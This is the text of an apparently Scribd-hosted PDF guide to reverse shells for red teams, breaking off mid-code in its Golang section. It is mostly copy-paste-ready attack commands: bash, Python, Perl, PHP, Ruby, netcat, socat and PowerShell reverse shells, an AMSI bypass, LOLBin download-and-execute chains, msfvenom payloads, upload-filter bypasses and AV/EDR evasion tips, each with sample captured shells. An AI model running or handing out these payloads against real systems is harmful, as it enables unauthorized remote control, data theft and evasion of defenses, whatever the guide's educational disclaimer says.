0% found this document useful (0 votes)
11 views36 pages

RTG Reverse Shells Complete Guide

The document is a comprehensive guide on reverse shells for offensive security, detailing techniques for both Windows and Linux systems using various programming languages and tools. It includes setup instructions for listeners, multiple shell variants, and evasion techniques, emphasizing the importance of authorized testing and legal compliance. The guide serves as an educational resource for Red Team practitioners, providing practical commands and configurations for effective exploitation.

Uploaded by

kenshinclone4869
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
11 views36 pages

RTG Reverse Shells Complete Guide

The document is a comprehensive guide on reverse shells for offensive security, detailing techniques for both Windows and Linux systems using various programming languages and tools. It includes setup instructions for listeners, multiple shell variants, and evasion techniques, emphasizing the importance of authorized testing and legal compliance. The guide serves as an educational resource for Red Team practitioners, providing practical commands and configurations for effective exploitation.

Uploaded by

kenshinclone4869
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

RedTeamGarage — Offensive Security Series

◆ OFFENSIVE SECURITY SERIES ◆

Reverse Shells
Complete Red Team Guide — Windows & Linux

Bash · PowerShell · Python · Perl · PHP · Ruby · Netcat · Socat · MSFvenom · C · Golang

Bash PowerShell Python Netcat Socat MSFvenom Encrypted

Staged Stageless Evasion Linux Windows

RedTeamGarage (RTG) | Offensive Security Education

[Link]

© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 1


RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) strictly for educational purposes.


All reverse shell techniques MUST only be used in authorized engagements with written permission.
Unauthorized access to computer systems is a criminal offense in all jurisdictions.
RTG assumes zero liability for misuse. Authorized testing ONLY.

RTG TIP

All commands in this guide are REAL SELECTABLE TEXT — you can copy & paste directly from this PDF.
Click any command in a terminal block, select text and copy — works in Adobe Reader, Foxit, Chrome PDF, etc.
Replace IP ([Link]) with your attacker IP and PORT (4444) with your listener port before use.

TABLE OF CONTENTS Reverse Shells — Complete Red Team Guide

01. INTRODUCTION — WHAT IS A REVERSE SHELL & HOW IT WORKS

02. ATTACK SETUP — LISTENER CONFIGURATION (NETCAT, SOCAT, METASPLOIT)

03. BASH REVERSE SHELLS — LINUX

04. PYTHON REVERSE SHELLS — LINUX & WINDOWS

05. PERL REVERSE SHELLS — LINUX & WINDOWS

06. PHP REVERSE SHELLS — WEB EXPLOITATION

07. RUBY REVERSE SHELLS — LINUX & WINDOWS

08. NETCAT REVERSE SHELLS — CLASSIC & MODERN

09. SOCAT REVERSE SHELLS — ENCRYPTED & STABLE

10. POWERSHELL REVERSE SHELLS — WINDOWS

11. WINDOWS CMD / MSHTA / CERTUTIL — LOLBIN SHELLS

12. MSFVENOM PAYLOADS — STAGED & STAGELESS

13. GOLANG REVERSE SHELLS — CROSS-PLATFORM

14. C & C++ REVERSE SHELLS — COMPILED PAYLOADS

15. JAVA / GROOVY / NODEJS REVERSE SHELLS

16. AWK / LUA / XTERM / CURL — ESOTERIC SHELLS

17. ENCRYPTED REVERSE SHELLS — TLS / OPENSSL / SOCAT

18. BIND SHELLS — WHEN REVERSE IS BLOCKED

19. SHELL UPGRADING — DUMB SHELL TO FULLY INTERACTIVE TTY

20. EVASION — BYPASSING AV / EDR

21. PIVOTING WITH REVERSE SHELLS — CHISEL, SSH, SOCAT

22. DETECTION — BLUE TEAM INDICATORS & SIEM QUERIES

23. COMPLETE CHEAT SHEET — EVERY COMMAND, COPY-PASTE READY

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 1
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

01 INTRODUCTION — WHAT IS A REVERSE SHELL


Fundamentals, Architecture & Why Attackers Use Them

A reverse shell is a type of shell session initiated FROM the target machine BACK to the attacker's machine — the
opposite of a bind shell where the attacker connects to the target. Reverse shells bypass firewall rules: most corporate
firewalls block inbound connections but allow outbound connections on common ports (80, 443, 53).

Reverse Shell vs Bind Shell


Property Reverse Shell Bind Shell

Connection direction Target → Attacker Attacker → Target

Firewall bypass Excellent — outbound allowed Poor — inbound usually blocked

NAT traversal Works through NAT Requires open port on target

Setup Listener on attacker machine Listener on target machine

Detection risk Lower (outbound traffic) Higher (new listening port)

Common ports 443, 80, 53, 8080 Any available port on target

Attack Flow — Step by Step


Step 1: Attacker sets up a LISTENER: nc -lvnp 4444
Step 2: Attacker delivers payload via exploit, phishing, web vuln, file upload, or RCE
Step 3: Target executes payload — initiates outbound TCP to attacker IP:PORT
Step 4: stdin/stdout/stderr of target shell redirected over the socket
Step 5: Attacker types commands → target executes → output returns to attacker
Step 6: Attacker upgrades to fully interactive TTY for stable post-exploitation

RTG TIP

Port 443 (HTTPS) reverse shells are hardest to detect — traffic looks like web browsing.
Set up your listener BEFORE delivering the payload — race condition otherwise.
Use encrypted shells (socat TLS, OpenSSL) when SSL inspection proxy is suspected.
Port 53 (DNS) is allowed outbound nearly everywhere — great fallback for strict firewalls.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 2
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

02 ATTACK SETUP — LISTENER CONFIGURATION


Netcat, Socat, Rlwrap, Metasploit — Catch Every Shell

Before sending any reverse shell payload, your listener must be running. The choice of listener affects shell stability,
interactivity, and encryption. This section covers all common listener setups from basic netcat to encrypted Metasploit
handlers.

Netcat / Ncat Listeners


attacker@kali:~ — Listener Setup

# Basic netcat listener — catches any TCP reverse shell


$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [[Link]] from (UNKNOWN) [[Link]] 52341

# Ncat persistent (re-listen after connection closes)


$ ncat -lvnp 4444 --keep-open

# Rlwrap nc — adds arrow keys + command history to dumb shell


$ rlwrap nc -lvnp 4444

# Listen on port 443 (appears as HTTPS to firewalls)


$ sudo nc -lvnp 443

# Socat listener — stable full TTY


$ socat file:`tty`,raw,echo=0 TCP-LISTEN:4444

# pwncat-cs — best modern catcher (auto TTY upgrade + file transfer)


$ pwncat-cs -lp 4444
[+] Binding to [Link]:4444
[+] New connection from [Link]:52341
[+] Upgrading shell to interactive TTY... done
(remote) www-data@victim:/var/www/html$

Figure: All listener options — nc, rlwrap nc, socat TTY listener, pwncat-cs auto-upgrade

Metasploit Multi/Handler
attacker@kali:~ — Metasploit Handler

$ msfconsole -q
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST [Link]
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > exploit -j

[*] Exploit running as background job 0.


[*] Started reverse TCP handler on [Link]:4444
[*] Command shell session 1 opened ([Link]:4444 -> [Link]:52341)

msf6 > sessions -i 1


C:\Windows\System32>

# Upgrade shell session to Meterpreter


msf6 > sessions -u 1
[*] Meterpreter session 2 opened
meterpreter > sysinfo
Computer : WIN10-CORP
OS : Windows 10 (10.0 Build 19045)

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 3
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

Figure: Metasploit multi/handler — background job, session upgrade to Meterpreter

RTG TIP

Always use 'set ExitOnSession false' — keeps handler alive to catch multiple shells.
Run handler as background job (-j) so you can keep using the msfconsole prompt.
For HTTPS: 'set PAYLOAD windows/x64/meterpreter/reverse_https' + port 443.
Stageless payloads (_reverse_tcp) work when firewall blocks C2 stage download.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 4
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

03 BASH REVERSE SHELLS


Linux — Most Common, Multiple Variants

Windows Linux Both

Bash reverse shells use bash's built-in /dev/tcp pseudo-device to establish a TCP connection and redirect
stdin/stdout/stderr over it. Multiple variants exist for different restriction levels.

Bash TCP — All Variants


target@victim:~$ — Bash /dev/tcp Reverse Shells

# Variant 1: Classic /dev/tcp (most common)


bash -i >& /dev/tcp/[Link]/4444 0>&1

# Variant 2: exec form (works in different shell contexts)


exec bash -i &>/dev/tcp/[Link]/4444 <&1

# Variant 3: file descriptor 5


bash -i 5<>/dev/tcp/[Link]/4444 0<&5 1>&5 2>&5

# Variant 4: read/write loop (more stable)


0<&196;exec 196<>/dev/tcp/[Link]/4444; sh <&196 >&196 2>&196

# Variant 5: UDP (bypasses TCP-only egress filters)


bash -i >& /dev/udp/[Link]/4444 0>&1

# Variant 6: IFS-encoded (bypasses space-filtering WAFs)


bash${IFS}-i${IFS}>&${IFS}/dev/tcp/[Link]/4444${IFS}0>&1

# Variant 7: sh compatible (works when bash restricted)


sh -i >& /dev/tcp/[Link]/4444 0>&1

Figure: Bash /dev/tcp — 7 variants including UDP, IFS-encoded WAF bypass, sh-compatible fallback

Attacker Receives the Bash Shell


attacker@kali:~ — Bash Shell Received

$ rlwrap nc -lvnp 4444


listening on [any] 4444 ...
connect to [[Link]] from (UNKNOWN) [[Link]] 39201

bash-5.1$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash-5.1$ whoami
www-data
bash-5.1$ hostname
victim-web-server
bash-5.1$ uname -a
Linux victim-web-server 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
bash-5.1$ ip a | grep inet
inet [Link]/8 scope host lo
inet [Link]/24 brd [Link] scope global eth0
bash-5.1$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Figure: Attacker receives bash shell — id, whoami, hostname, uname, network info all confirmed

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 5
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

LINUX

/dev/tcp is a bash builtin — it opens a real TCP socket, no file is created on disk.
If bash is restricted: 'sh -i >& /dev/tcp/IP/PORT 0>&1' works in sh, dash, ash too.
'0>&1' redirects stdin from the same fd as stdout — completing the bidirectional pipe.
UDP variant (Var 5) bypasses TCP-only egress filters but is unreliable on lossy networks.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 6
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

04 PYTHON REVERSE SHELLS


Linux & Windows — socket Module

Windows Linux Both

Python reverse shells use the socket module for TCP connection and subprocess/pty to spawn an interactive shell.
Python 3 is the standard now. Available on Linux servers, Windows (installed), and WSL.

Python3 — Linux
target@victim:~$ — Python3 Linux

# One-liner with PTY (fully interactive from the start)


python3 -c "import socket,pty,os;s=[Link]();[Link](('[Link]',4444));[os.dup2([Link](),
f) for f in(0,1,2)];[Link]('/bin/bash')"

# Standard socket method


python3 -c "import socket,subprocess,os;s=[Link](socket.AF_INET,socket.SOCK_STREAM);
[Link](('[Link]',4444));os.dup2([Link](),0);os.dup2([Link](),1);os.dup2([Link](),2);
[Link](['/bin/bash','-i'])"

# Multi-line version (for scripts)


python3 << 'EOF'
import socket, subprocess, os
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](('[Link]', 4444))
os.dup2([Link](), 0)
os.dup2([Link](), 1)
os.dup2([Link](), 2)
[Link](['/bin/bash', '-i'])
EOF

Figure: Python3 socket reverse shell with [Link] for interactive TTY — Linux variants

Python3 — Windows
CORP\victim@WIN10 — Python3 Windows

# Python3 Windows — [Link]


python3 -c "import socket,subprocess;s=[Link]();[Link](('[Link]',4444));
[Link](['[Link]'],stdin=s,stdout=s,stderr=s)"

# Or use 'py' launcher on Windows


py -3 -c "import socket,subprocess;s=[Link]();[Link](('[Link]',4444));
[Link](['[Link]'],stdin=s,stdout=s,stderr=s)"

# Attacker catches Windows Python shell


$ nc -lvnp 4444
connect to [[Link]] from (UNKNOWN) [[Link]] 52890
Microsoft Windows [Version 10.0.19045.4291]
(c) Microsoft Corporation. All rights reserved.

C:\Users\victim> whoami
CORP\victim
C:\Users\victim> systeminfo | findstr /B /C:"OS Name"
OS Name: Microsoft Windows 10 Pro

Figure: Python3 reverse shell on Windows — attacker receives [Link] with domain user context

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 7
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

RTG NOTE

[Link]('/bin/bash') gives you a real PTY immediately — best Python shell method.
On Windows: '[Link](["[Link]"])' more stable than 'shell=True'.
If python3 not in PATH: try 'py -3', 'python', or full path C:\Python3\[Link].
Python2 one-liner: replace '[Link]()' — syntax identical but use print not print().

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 8
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

05 PERL REVERSE SHELLS


Linux & Windows — Pre-installed on Most Systems

Windows Linux Both

target@victim:~$ — Perl Reverse Shell

# Perl — Linux one-liner


perl -e 'use Socket;$i="[Link]";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,
">&S");exec("/bin/bash -i")};'

# Perl IO::Socket method (no /bin/bash required)


perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[Link]:4444");STDIN->fdopen($c,
r);$~->fdopen($c,w);system$_ while<>;'

# Perl — Windows (ActivePerl / Strawberry Perl)


perl -MIO::Socket -e "$c=IO::Socket::INET->new(PeerAddr,'[Link]:4444');$cmd='[Link]';
system($cmd.' <&'.$c->fileno().' >&'.$c->fileno().' 2>&'.$c->fileno());"

# Attacker receives Perl shell


$ nc -lvnp 4444
connect to [[Link]] from (UNKNOWN) [[Link]] 48291
bash-5.1$ id
uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)

Figure: Perl reverse shells — IO::Socket Linux, /bin/bash exec method, Windows [Link] variant

LINUX

Perl is pre-installed on macOS and most Linux distros — highly available.


Use 'perl -e' for one-liners or write a .pl file: 'perl [Link]'.
fork() technique forks a background process — shell survives parent exit.
On modern Ubuntu: Perl may need 'sudo apt install perl' if minimalist image.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 9
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

06 PHP REVERSE SHELLS


Web Exploitation — RCE via Webshell & File Upload

Windows Linux Both

PHP reverse shells are critical for web exploitation — file upload vulns, LFI/RFI, deserialization. PHP's exec(),
shell_exec(), passthru(), system(), and proc_open() all provide code execution pathways.

PHP One-Liners
target@victim:/var/www/html$ — PHP Reverse Shell

# Method 1: exec (most common)


php -r '$sock=fsockopen("[Link]",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Method 2: shell_exec
php -r '$sock=fsockopen("[Link]",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

# Method 3: passthru (bypasses some disable_functions)


php -r '$sock=fsockopen("[Link]",4444);passthru("/bin/sh -i <&3 >&3 2>&3");'

# Method 4: popen
php -r '$sock=fsockopen("[Link]",4444);popen("/bin/sh -i <&3 >&3 2>&3","r");'

# Webshell — upload as .php and trigger via browser/curl


<?php system($_GET['cmd']); ?>

# Trigger webshell to execute bash reverse shell


# URL: [Link]

# Or via curl
$ curl '[Link]

Figure: PHP reverse shells — exec/shell_exec/passthru/popen one-liners; webshell trigger via URL

PentestMonkey PHP Shell — Full Featured Upload

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 10
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

target@victim:~$ + attacker@kali:~ — PHP Upload Shell

# Classic PentestMonkey PHP reverse shell (upload to web server)


# Edit $ip and $port, upload, then trigger via browser

<?php
set_time_limit(0);
$ip = '[Link]'; // CHANGE: Your attacker IP
$port = 4444; // CHANGE: Your listener port
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/sh -i';
// ... (full shell — download from [Link]/pentestmonkey/php-reverse-shell)
?>

# Upload to target (file upload vuln, LFI, etc.)


$ curl -F 'file=@[Link]' [Link]

# Trigger uploaded shell


$ curl [Link]

# Attacker catches www-data shell


$ nc -lvnp 4444
connect to [[Link]] from (UNKNOWN) [[Link]] 43201
Linux victim-web 5.15.0 #1 SMP x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Figure: PentestMonkey PHP shell upload + trigger — www-data shell received on listener

RTG WARNING

disable_functions in [Link] blocks exec/system — use proc_open or mail() as bypass.


Upload filter bypass: try shell.php5, [Link], [Link], [Link].
Always URL-encode your reverse shell when passing via ?cmd= parameter.
Download full PentestMonkey shell: [Link]/pentestmonkey/php-reverse-shell

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 11
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

07 RUBY REVERSE SHELLS


Linux & Windows — TCPSocket

Windows Linux Both

target@victim:~$ — Ruby Reverse Shell

# Ruby — Linux (fork daemon + exec)


ruby -rsocket -e 'exit if fork;c=[Link]("[Link]","4444");while(cmd=[Link]);[Link](cmd,
"r"){|io|[Link] [Link]}end'

# Ruby — simpler exec method


ruby -rsocket -e 'c=[Link]("[Link]",4444);$stdin=$stdout=$stderr=c;exec("/bin/bash -i")'

# Ruby — Windows ([Link])


ruby -rsocket -e 'c=[Link]("[Link]",4444);$stdin=$stdout=$stderr=c;exec("[Link]")'

# Attacker catches Ruby shell


$ nc -lvnp 4444
connect to [[Link]] from (UNKNOWN) [[Link]] 38201
bash-5.1$ id
uid=0(root) gid=0(root) groups=0(root)
[+] Root shell obtained via Ruby reverse shell

Figure: Ruby TCPSocket reverse shells — Linux fork+exec and simple exec; Windows [Link] variant

RTG NOTE

Ruby's 'exit if fork' creates a daemon — shell survives parent process dying.
Ruby is default on macOS and available via rbenv/RVM on Linux.
Use 'ruby -rsocket' to import socket library without a separate require statement.
For Windows: replace '/bin/bash -i' with '[Link]' in exec() call.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 12
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

08 NETCAT REVERSE SHELLS


Classic & Modern — nc, ncat, [Link]

Windows Linux Both

Binary Version Has -e flag Notes

nc OpenBSD (Ubuntu default) No Use mkfifo workaround

[Link] GNU Netcat Yes nc -e /bin/bash IP PORT

ncat Nmap's Ncat Yes More features + SSL support

netcat May vary Depends Check: nc -h 2>&1 | grep -c 'e cmd'

target@victim:~$ — Netcat Reverse Shells

# Method 1: nc with -e (GNU netcat / ncat only)


nc -e /bin/bash [Link] 4444
ncat -e /bin/bash [Link] 4444

# Method 2: mkfifo (OpenBSD nc — no -e flag) ** MOST PORTABLE **


rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [Link] 4444 > /tmp/f

# Method 3: named pipe with bash


rm /tmp/bp; mknod /tmp/bp p; /bin/bash 0</tmp/bp | nc [Link] 4444 1>/tmp/bp

# Method 4: Windows [Link] (upload first)


[Link] -e [Link] [Link] 4444

# Method 5: ncat Windows


[Link] -e [Link] [Link] 4444

# Attacker catches netcat shell


$ nc -lvnp 4444
connect to [[Link]] from (UNKNOWN) [[Link]] 44109
sh-4.4$ id
uid=1000(user) gid=1000(user) groups=1000(user)
sh-4.4$ hostname
corp-server-01

Figure: Netcat shells — nc -e, mkfifo (most portable), named pipe, Windows [Link]; all methods shown

RTG OPSEC

mkfifo method works on ANY netcat version — use this as your default Linux approach.
Check nc version: 'nc -h 2>&1' — if you see '-e cmd' then GNU netcat or ncat is available.
[Link] not on Windows by default — upload via certutil, BITSAdmin, or PowerShell WebClient.
Ncat (from nmap) supports TLS: 'ncat --ssl -e /bin/bash IP PORT' — encrypted shell.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 13
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

09 SOCAT REVERSE SHELLS


Encrypted, Stable & Full TTY — Best Non-C2 Shell

Windows Linux Both

attacker@kali + target@victim — Socat Shells

# === SOCAT FULL INTERACTIVE TTY ===

# Attacker listener — fully interactive TTY


socat file:`tty`,raw,echo=0 TCP-LISTEN:4444

# Target — sends full TTY reverse shell


socat TCP:[Link]:4444 EXEC:'bash -li',pty,stderr,sigint,setsid,sane

# Result: arrow keys, tab complete, Ctrl+C all work perfectly


root@victim:~# id
uid=0(root) gid=0(root) groups=0(root)
root@victim:~# ls -la /root
-rw------- 1 root root 892 Mar 17 09:14 .bash_history
-rw-r--r-- 1 root root 3526 Mar 10 12:00 .bashrc

# === ENCRYPTED SOCAT TLS SHELL ===

# Step 1: Generate cert on attacker


openssl req -newkey rsa:2048 -nodes -keyout [Link] -x509 -days 365 -out [Link] -subj
'/CN=[Link]'
cat [Link] [Link] > [Link]

# Step 2: Encrypted TLS listener


socat OPENSSL-LISTEN:443,cert=[Link],verify=0,reuseaddr file:`tty`,raw,echo=0

# Step 3: Encrypted reverse shell on target


socat OPENSSL:[Link]:443,verify=0 EXEC:'bash -li',pty,stderr,sigint,setsid,sane

# === SOCAT WINDOWS ===


[Link] TCP:[Link]:4444 EXEC:[Link],pipes

Figure: Socat full PTY, TLS-encrypted shell on 443, and Windows [Link] variant — all commands copy-pasteable

RTG TIP

Socat full TTY = best non-C2 shell — arrow keys, tab complete, Ctrl+C work perfectly.
If socat not on target: transfer static binary (socat static builds widely available).
Encrypted socat on port 443 = nearly indistinguishable from legitimate HTTPS traffic.
Windows: [Link] TCP:IP:PORT EXEC:[Link],pipes — same concept, different shell.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 14
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

10 POWERSHELL REVERSE SHELLS


Windows — Most Powerful Native Method

Windows Linux Both

CORP\victim@WIN10 — PowerShell TCPClient

# PowerShell TCPClient reverse shell — full version


$client = New-Object [Link]('[Link]',4444)
$stream = $[Link]()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $[Link]($bytes,0,$[Link])) -ne 0){
$data = (New-Object -TypeName [Link]).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([[Link]]::ASCII).GetBytes($sendback2)
$[Link]($sendbyte,0,$[Link])
$[Link]()}
$[Link]()

# One-liner version (run with: powershell -nop -noni -w hidden -c "...")


powershell -nop -noni -w hidden -c "$c=New-Object [Link]('[Link]',4444);
$s=$[Link]();[byte[]]$b=0..65535|%{0};while(($i=$[Link]($b,0,$[Link])) -ne
0){$d=(New-Object -TypeName [Link]).GetString($b,0,$i);$sb=(iex $d 2>&1|
Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$se=([[Link]]::ASCII).GetBytes($sb2);
$[Link]($se,0,$[Link]);$[Link]()};$[Link]()"

# Attacker catches PowerShell shell


$ rlwrap nc -lvnp 4444
connect to [[Link]] from (UNKNOWN) [[Link]] 52341
PS C:\Windows\System32> whoami
CORP\victim
PS C:\Windows\System32> $env:COMPUTERNAME
WIN10-WORKSTATION

Figure: PowerShell TCPClient reverse shell — full readable version and one-liner; attacker receives PS prompt

Nishang + AMSI Bypass

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 15
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

CORP\victim@WIN10 — Nishang + AMSI Bypass

# Download Nishang and serve it


# On attacker: python3 -m [Link] 80

# On target — download and invoke


IEX (New-Object [Link]).DownloadString('[Link]
Invoke-PowerShellTcp -Reverse -IPAddress [Link] -Port 4444

# AMSI bypass (prepend to any PS payload — patches amsiInitFailed)


$a=[Ref].[Link]('[Link]')
$b=$[Link]('amsiInitFailed','NonPublic,Static')
$[Link]($null,$true)

# Confirm AMSI bypassed then run payload


[+] AMSI bypassed — session no longer scanned

# Generate base64 encoded PS payload


# On attacker (Linux):
$ echo -n '$c=New-Object [Link]("[Link]",4444);...' | iconv -t UTF-16LE | base64 -w
0
JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAu...

# Execute encoded payload on target


powershell -nop -noni -w hidden -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAA...

Figure: Nishang Invoke-PowerShellTcp + AMSI bypass; base64 encoding workflow on Linux attacker side

WINDOWS

Always use '-nop -noni -w hidden' — suppresses profile loading and hides PS window.
Base64 encode with iconv UTF-16LE (Windows uses UTF-16LE for PowerShell encoding).
AMSI bypass patches work but EDR behavioral detection may still trigger on the patch.
Best evasion: Nim/Go custom loader + XOR shellcode, not raw PowerShell strings.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 16
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

11 WINDOWS CMD / MSHTA / CERTUTIL — LOLBIN SHELLS


Living Off The Land Reverse Shells

Windows Linux Both

CORP\victim@WIN10 — Windows LOLBin Shells

# MSHTA — execute remote HTA file (Windows built-in)


mshta [Link]

# HTA file content to serve ([Link] on attacker web server)


<html><head><script language='VBScript'>
Set o = CreateObject("[Link]")
[Link] "powershell -nop -w hidden -c IEX(New-Object
[Link]).DownloadString('[Link]
[Link]</script></head></html>

# CertUtil download + execute [Link]


certutil -urlcache -split -f [Link] C:\Windows\Temp\[Link]
C:\Windows\Temp\[Link] -e [Link] [Link] 4444

# BITSAdmin download (stealthier than certutil)


bitsadmin /transfer job1 [Link] C:\Windows\Temp\[Link]

# Regsvr32 squiblydoo — executes remote SCT (bypasses AppLocker)


regsvr32 /s /u /n /i:[Link] [Link]

# Rundll32 — execute DLL payload


rundll32 \\[Link]\share\[Link],EntryPoint

# WMIC — execute remote XSL


wmic os get /format:"[Link]

# Attacker web server log shows hit when mshta/certutil triggers


[Link] - - [17/Mar/2025 10:22:01] "GET /[Link] HTTP/1.1" 200 -

Figure: Windows LOLBin shells — MSHTA HTA, CertUtil download+exec, BITSAdmin, Regsvr32 squiblydoo, WMIC XSL

WINDOWS

MSHTA bypasses AppLocker in many configs — HTA runs outside PowerShell restrictions.
CertUtil is heavily monitored by EDR — prefer BITSAdmin or WebClient for stealthier DL.
Regsvr32 squiblydoo still bypasses application whitelisting on many enterprise configs.
Combine LOLBin download with encoded PowerShell for full in-memory execution chain.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 17
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

12 MSFVENOM PAYLOADS
Staged & Stageless — Every Platform

Windows Linux Both

Type Payload Size Best For

Stageless EXE windows/x64/shell_reverse_tcp 7KB Unreliable networks

Staged EXE windows/x64/shell/reverse_tcp ~1KB stager Reliable networks

Meterpreter windows/x64/meterpreter/reverse_tcp Tiny stager Most common

HTTPS Meterpreter windows/x64/meterpreter/reverse_https Tiny stager Stealth on 443

Linux ELF linux/x64/shell_reverse_tcp 194 bytes Linux targets

PS Encoded windows/x64/meterpreter/reverse_tcp -f Medium PowerShell exec


psh-cmd

attacker@kali:~ — MSFvenom Payloads

# Windows x64 stageless EXE


msfvenom -p windows/x64/shell_reverse_tcp LHOST=[Link] LPORT=4444 -f exe -o [Link]

# Windows x64 Meterpreter HTTPS (encrypted, port 443)


msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[Link] LPORT=443 -f exe -o [Link]

# Windows DLL (for DLL hijacking / sideloading)


msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[Link] LPORT=4444 -f dll -o [Link]

# Windows PowerShell encoded payload


msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[Link] LPORT=4444 -f psh-cmd

# Linux x64 stageless ELF


msfvenom -p linux/x64/shell_reverse_tcp LHOST=[Link] LPORT=4444 -f elf -o [Link]

# Linux Meterpreter (full feature set)


msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=[Link] LPORT=4444 -f elf -o [Link]

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=[Link] LPORT=4444 -o [Link]

# C shellcode (for custom loaders)


msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[Link] LPORT=4444 -f c

# Transfer ELF to target and execute


$ python3 -m [Link] 8080
# On target: wget [Link] -O /tmp/s && chmod +x /tmp/s && /tmp/s &

Figure: MSFvenom generating Windows EXE/DLL/PS, Linux ELF, Android APK and C shellcode payloads

RTG OPSEC

Add '-e x64/xor_dynamic -i 5' for basic encoding — reduces AV detection slightly.
Best AV evasion: use msfvenom shellcode + custom Go/Nim loader rather than raw EXE.
Stageless payloads (_reverse_tcp not /reverse_tcp) work when C2 stage download blocked.
For HTTPS: set up Metasploit with a real SSL cert — self-signed triggers some AV products.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 18
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

13 GOLANG REVERSE SHELLS


Cross-Platform — Compile Once, Run Everywhere

Windows Linux Both

attacker@kali:~ — Go Cross-Platform Shell

// [Link] — save and compile


package main
import ("net"; "os/exec"; "os")
func main() {
